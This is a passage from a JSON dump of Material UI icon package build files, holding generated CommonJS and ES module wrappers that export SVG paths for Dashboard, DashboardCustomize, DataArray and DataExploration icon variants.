    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h8v8H3zm10 0h8v8h-8zM3 13h8v8H3zm15 0h-2v3h-3v2h3v3h2v-3h3v-2h-3z\"\n}), 'DashboardCustomize');"
  },
  {
    "path": "packages/mui-icons-material/lib/DashboardCustomize.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h8v8H3zm10 0h8v8h-8zM3 13h8v8H3zm15 0h-2v3h-3v2h3v3h2v-3h3v-2h-3z\"\n}), 'DashboardCustomize');"
  },
  {
    "path": "packages/mui-icons-material/lib/DashboardCustomizeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 11h8V3H3zm2-6h4v4H5zm8-2v8h8V3zm6 6h-4V5h4zM3 21h8v-8H3zm2-6h4v4H5zm13-2h-2v3h-3v2h3v3h2v-3h3v-2h-3z\"\n}), 'DashboardCustomizeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DashboardCustomizeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 11h8V3H3zm2-6h4v4H5zm8-2v8h8V3zm6 6h-4V5h4zM3 21h8v-8H3zm2-6h4v4H5zm13-2h-2v3h-3v2h3v3h2v-3h3v-2h-3z\"\n}), 'DashboardCustomizeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DashboardCustomizeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 3h6c.55 0 1 .45 1 1v6c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1m10 0h6c.55 0 1 .45 1 1v6c0 .55-.45 1-1 1h-6c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1M4 13h6c.55 0 1 .45 1 1v6c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-6c0-.55.45-1 1-1m13 0c-.55 0-1 .45-1 1v2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1h-2v-2c0-.55-.45-1-1-1\"\n}), 'DashboardCustomizeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DashboardCustomizeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 3h6c.55 0 1 .45 1 1v6c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1m10 0h6c.55 0 1 .45 1 1v6c0 .55-.45 1-1 1h-6c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1M4 13h6c.55 0 1 .45 1 1v6c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-6c0-.55.45-1 1-1m13 0c-.55 0-1 .45-1 1v2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1h-2v-2c0-.55-.45-1-1-1\"\n}), 'DashboardCustomizeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DashboardCustomizeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h8v8H3zm10 0h8v8h-8zM3 13h8v8H3zm15 0h-2v3h-3v2h3v3h2v-3h3v-2h-3z\"\n}), 'DashboardCustomizeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DashboardCustomizeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h8v8H3zm10 0h8v8h-8zM3 13h8v8H3zm15 0h-2v3h-3v2h3v3h2v-3h3v-2h-3z\"\n}), 'DashboardCustomizeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DashboardCustomizeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15h4v4H5zM5 5h4v4H5zm10 0h4v4h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 11h8V3H3zm2-6h4v4H5zm8-2v8h8V3zm6 6h-4V5h4zM3 21h8v-8H3zm2-6h4v4H5zm13-2h-2v3h-3v2h3v3h2v-3h3v-2h-3z\"\n}, \"1\")], 'DashboardCustomizeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DashboardCustomizeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15h4v4H5zM5 5h4v4H5zm10 0h4v4h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 11h8V3H3zm2-6h4v4H5zm8-2v8h8V3zm6 6h-4V5h4zM3 21h8v-8H3zm2-6h4v4H5zm13-2h-2v3h-3v2h3v3h2v-3h3v-2h-3z\"\n}, \"1\")], 'DashboardCustomizeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DashboardOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5v2h-4V5zM9 5v6H5V5zm10 8v6h-4v-6zM9 17v2H5v-2zM21 3h-8v6h8zM11 3H3v10h8zm10 8h-8v10h8zm-10 4H3v6h8z\"\n}), 'DashboardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DashboardOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5v2h-4V5zM9 5v6H5V5zm10 8v6h-4v-6zM9 17v2H5v-2zM21 3h-8v6h8zM11 3H3v10h8zm10 8h-8v10h8zm-10 4H3v6h8z\"\n}), 'DashboardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DashboardRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 13h6c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v8c0 .55.45 1 1 1m0 8h6c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m10 0h6c.55 0 1-.45 1-1v-8c0-.55-.45-1-1-1h-6c-.55 0-1 .45-1 1v8c0 .55.45 1 1 1M13 4v4c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1h-6c-.55 0-1 .45-1 1\"\n}), 'DashboardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DashboardRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 13h6c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v8c0 .55.45 1 1 1m0 8h6c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m10 0h6c.55 0 1-.45 1-1v-8c0-.55-.45-1-1-1h-6c-.55 0-1 .45-1 1v8c0 .55.45 1 1 1M13 4v4c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1h-6c-.55 0-1 .45-1 1\"\n}), 'DashboardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DashboardSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 13h8V3H3zm0 8h8v-6H3zm10 0h8V11h-8zm0-18v6h8V3z\"\n}), 'DashboardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DashboardSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 13h8V3H3zm0 8h8v-6H3zm10 0h8V11h-8zm0-18v6h8V3z\"\n}), 'DashboardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DashboardTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h4v6H5zm10 8h4v6h-4zM5 17h4v2H5zM15 5h4v2h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 13h8V3H3zm2-8h4v6H5zm8 16h8V11h-8zm2-8h4v6h-4zM13 3v6h8V3zm6 4h-4V5h4zM3 21h8v-6H3zm2-4h4v2H5z\"\n}, \"1\")], 'DashboardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DashboardTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h4v6H5zm10 8h4v6h-4zM5 17h4v2H5zM15 5h4v2h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 13h8V3H3zm2-8h4v6H5zm8 16h8V11h-8zm2-8h4v6h-4zM13 3v6h8V3zm6 4h-4V5h4zM3 21h8v-6H3zm2-4h4v2H5z\"\n}, \"1\")], 'DashboardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataArray.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 4v2h3v12h-3v2h5V4zM4 20h5v-2H6V6h3V4H4z\"\n}), 'DataArray');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataArray.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 4v2h3v12h-3v2h5V4zM4 20h5v-2H6V6h3V4H4z\"\n}), 'DataArray');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataArrayOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 4v2h3v12h-3v2h5V4zM4 20h5v-2H6V6h3V4H4z\"\n}), 'DataArrayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataArrayOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 4v2h3v12h-3v2h5V4zM4 20h5v-2H6V6h3V4H4z\"\n}), 'DataArrayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataArrayRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 5c0 .55.45 1 1 1h2v12h-2c-.55 0-1 .45-1 1s.45 1 1 1h2c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-2c-.55 0-1 .45-1 1M6 20h2c.55 0 1-.45 1-1s-.45-1-1-1H6V6h2c.55 0 1-.45 1-1s-.45-1-1-1H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2\"\n}), 'DataArrayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataArrayRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 5c0 .55.45 1 1 1h2v12h-2c-.55 0-1 .45-1 1s.45 1 1 1h2c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-2c-.55 0-1 .45-1 1M6 20h2c.55 0 1-.45 1-1s-.45-1-1-1H6V6h2c.55 0 1-.45 1-1s-.45-1-1-1H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2\"\n}), 'DataArrayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataArraySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 4v2h3v12h-3v2h5V4zM4 20h5v-2H6V6h3V4H4z\"\n}), 'DataArraySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataArraySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 4v2h3v12h-3v2h5V4zM4 20h5v-2H6V6h3V4H4z\"\n}), 'DataArraySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataArrayTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 4v2h3v12h-3v2h5V4zM4 20h5v-2H6V6h3V4H4z\"\n}), 'DataArrayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataArrayTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 4v2h3v12h-3v2h5V4zM4 20h5v-2H6V6h3V4H4z\"\n}), 'DataArrayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataExploration.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12c0 1.33.26 2.61.74 3.77L8 10.5l3.3 2.78L14.58 10H13V8h5v5h-2v-1.58L11.41 16l-3.29-2.79-4.4 4.4C5.52 20.26 8.56 22 12 22h8c1.1 0 2-.9 2-2v-8c0-5.52-4.48-10-10-10m7.5 18.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'DataExploration');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataExploration.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12c0 1.33.26 2.61.74 3.77L8 10.5l3.3 2.78L14.58 10H13V8h5v5h-2v-1.58L11.41 16l-3.29-2.79-4.4 4.4C5.52 20.26 8.56 22 12 22h8c1.1 0 2-.9 2-2v-8c0-5.52-4.48-10-10-10m7.5 18.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'DataExploration');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataExplorationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10h8c1.1 0 2-.9 2-2v-8c0-5.52-4.48-10-10-10m0 18c-2.89 0-5.43-1.54-6.83-3.84l2.95-2.95L11.41 16 16 11.42V13h2V8h-5v2h1.58l-3.28 3.28L8 10.5l-3.69 3.7C4.11 13.5 4 12.76 4 12c0-4.41 3.59-8 8-8s8 3.59 8 8-3.59 8-8 8m7.5.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'DataExplorationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataExplorationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10h8c1.1 0 2-.9 2-2v-8c0-5.52-4.48-10-10-10m0 18c-2.89 0-5.43-1.54-6.83-3.84l2.95-2.95L11.41 16 16 11.42V13h2V8h-5v2h1.58l-3.28 3.28L8 10.5l-3.69 3.7C4.11 13.5 4 12.76 4 12c0-4.41 3.59-8 8-8s8 3.59 8 8-3.59 8-8 8m7.5.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'DataExplorationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataExplorationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12c0 1.33.26 2.61.74 3.77l4.61-4.62c.37-.37.95-.39 1.35-.06l2.6 2.19L14.58 10H14c-.55 0-1-.45-1-1s.45-1 1-1h3c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1s-1-.45-1-1v-.58l-3.94 3.93c-.37.37-.96.39-1.35.05l-2.59-2.19-4.4 4.4C5.52 20.26 8.56 22 12 22h8c1.1 0 2-.9 2-2zm-2.5 8.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'DataExplorationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataExplorationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12c0 1.33.26 2.61.74 3.77l4.61-4.62c.37-.37.95-.39 1.35-.06l2.6 2.19L14.58 10H14c-.55 0-1-.45-1-1s.45-1 1-1h3c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1s-1-.45-1-1v-.58l-3.94 3.93c-.37.37-.96.39-1.35.05l-2.59-2.19-4.4 4.4C5.52 20.26 8.56 22 12 22h8c1.1 0 2-.9 2-2zm-2.5 8.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'DataExplorationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataExplorationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12c0 1.33.26 2.61.74 3.77L8 10.5l3.3 2.78L14.58 10H13V8h5v5h-2v-1.58L11.41 16l-3.29-2.79-4.4 4.4C5.52 20.26 8.56 22 12 22h10V12c0-5.52-4.48-10-10-10m7.5 18.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'DataExplorationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataExplorationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12c0 1.33.26 2.61.74 3.77L8 10.5l3.3 2.78L14.58 10H13V8h5v5h-2v-1.58L11.41 16l-3.29-2.79-4.4 4.4C5.52 20.26 8.56 22 12 22h10V12c0-5.52-4.48-10-10-10m7.5 18.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'DataExplorationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataExplorationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 20c-2.89 0-5.43-1.54-6.83-3.84l2.95-2.95L11.41 16 16 11.42V13h2V8h-5v2h1.58l-3.28 3.28L8 10.5l-3.69 3.7C4.11 13.5 4 12.76 4 12c0-4.41 3.59-8 8-8s8 3.59 8 8-3.59 8-8 8m7.5.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10h8c1.1 0 2-.9 2-2v-8c0-5.52-4.48-10-10-10m0 18c-2.89 0-5.43-1.54-6.83-3.84l2.95-2.95L11.41 16 16 11.42V13h2V8h-5v2h1.58l-3.28 3.28L8 10.5l-3.69 3.7C4.11 13.5 4 12.76 4 12c0-4.41 3.59-8 8-8s8 3.59 8 8-3.59 8-8 8m7.5.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'DataExplorationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DataExplorationTwoTone.mjs",
